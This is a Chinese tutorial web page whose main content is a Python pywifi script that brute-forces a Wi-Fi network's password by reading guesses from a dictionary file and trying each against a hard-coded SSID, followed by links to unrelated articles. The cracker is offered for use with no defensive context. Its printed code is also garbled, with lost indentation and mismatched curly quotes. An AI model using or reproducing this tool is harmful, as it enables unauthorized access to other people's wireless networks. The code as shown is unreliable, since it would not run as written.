python 利用pywifi模块实现连接网络破解wifi密码实时监控网络

 更新时间:2019年09月16日 13:58:57   作者:飞累了就睡在风雨中  
这篇文章主要介绍了python 利用pywifi模块实现连接网络破解wifi密码实时监控网络,需要的朋友可以参考下

python 利用pywifi模块实现连接网络破解wifi密码实时监控网络,具体内容如下:

import pywifi
from pywifi import *
import time
def CrackWifi(password):
wifi = pywifi.PyWiFi()
iface = wifi.interfaces()[0] # 取一个无限网卡
# 是否成功的标志
isok = True
if(iface.status()!=const.IFACE_CONNECTED):
  profile = pywifi.Profile()
  profile.ssid = 'vivo X7'
  profile.auth = const.AUTH_ALG_OPEN     #需要秘密
  profile.akm.append(const.AKM_TYPE_WPA2PSK) #加密类型
  profile.cipher = const.CIPHER_TYPE_CCMP   #加密单元
  #profile.key = '123456789'         #在此输入你的wifi密码
  profile.key = password
  #time.sleep(3)
  wifi = pywifi.PyWiFi()
  iface = wifi.interfaces()[0] # 取一个无限网卡
  profile = iface.add_network_profile(profile)
  iface.connect(profile)
  time.sleep(3)    #程序休眠时间3秒;如果没有此句,则会打印连接失败,因为它需要一定的检测时间
  if iface.status()==const.IFACE_CONNECTED:
    print("连接成功!!!")
  else:
    print("连接失败!!!")
    isok=False
  return isok
else:
  print("已经连接网络")
  return isok
#CrackWifi()
def PasswordFile():
pathfile=“H:/wififile.txt” #你的密码字典
files=open(pathfile,‘r')
while True:
fp=files.readline()
if not fp:
break
 wifipass = fp[:-1]
  print(wifipass)
  if CrackWifi(wifipass):
   break
while True:
PasswordFile()
time.sleep(5)

总结

以上所述是小编给大家介绍的python 利用pywifi模块实现连接网络破解wifi密码实时监控网络,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对脚本之家网站的支持!
如果你觉得本文对你有帮助,欢迎转载,烦请注明出处,谢谢!

相关文章

  • pandas分组聚合详解

    pandas分组聚合详解

    这篇文章主要介绍了pandas分组聚合详解,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧
    2020-04-04
  • 使用python画出逻辑斯蒂映射(logistic map)中的分叉图案例

    使用python画出逻辑斯蒂映射(logistic map)中的分叉图案例

    这篇文章主要介绍了使用python画出逻辑斯蒂映射(logistic map)中的分叉图案例,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧
    2020-12-12
  • 详解Python中命令行参数argparse的常用命令

    详解Python中命令行参数argparse的常用命令

    这篇文章主要为大家详细介绍了Python中命令行参数argparse的一些常用命令,文中的示例代码讲解详细,具有一定的学习价值,需要的可以了解一下
    2023-01-01
  • Python用requests库爬取返回为空的解决办法

    Python用requests库爬取返回为空的解决办法

    这篇文章主要介绍了Python用requests库爬取返回为空的解决办法,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧
    2021-02-02
  • 详解pandas中iloc, loc和ix的区别和联系

    详解pandas中iloc, loc和ix的区别和联系

    这篇文章主要介绍了详解pandas中iloc, loc和ix的区别和联系,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧
    2020-03-03
  • Python的ORM框架中SQLAlchemy库的查询操作的教程

    Python的ORM框架中SQLAlchemy库的查询操作的教程

    这篇文章主要介绍了Python的ORM框架中SQLAlchemy库的查询操作的教程,SQLAlchemy用来操作数据库十分方便,需要的朋友可以参考下
    2015-04-04
  • Python实现随机森林RF模型超参数的优化详解

    Python实现随机森林RF模型超参数的优化详解

    这篇文章主要为大家详细介绍了基于Python的随机森林(Random Forest,RF)回归代码,以及模型超参数(包括决策树个数与最大深度、最小分离样本数、最小叶子节点样本数、最大分离特征数等)自动优化的代码,感兴趣的小伙伴可以了解一下
    2023-02-02
  • python使用OS模块操作系统接口及常用功能详解

    python使用OS模块操作系统接口及常用功能详解

    os是 Python 标准库中的一个模块,提供了与操作系统交互的功能,在本节中,我们将介绍os模块的一些常用功能,并通过实例代码详细讲解每个知识点
    2023-06-06
  • Python实现批量将图像png格式转为npy格式

    Python实现批量将图像png格式转为npy格式

    在进行深度学习处理时,有些的代码处理的数据格式为npy,但是常常有的数据格式为png,因此本文就来介绍一下Python如何实现图像批量png格式转为npy格式,需要的可以参考下
    2023-12-12
  • Python算法中的时间复杂度问题

    Python算法中的时间复杂度问题

    时间复杂度用于度量算法的计算工作量,空间复杂度用于度量算法占用的内存空间。这篇文章主要介绍了Python算法中的时间复杂度,需要的朋友可以参考下
    2019-11-11

最新评论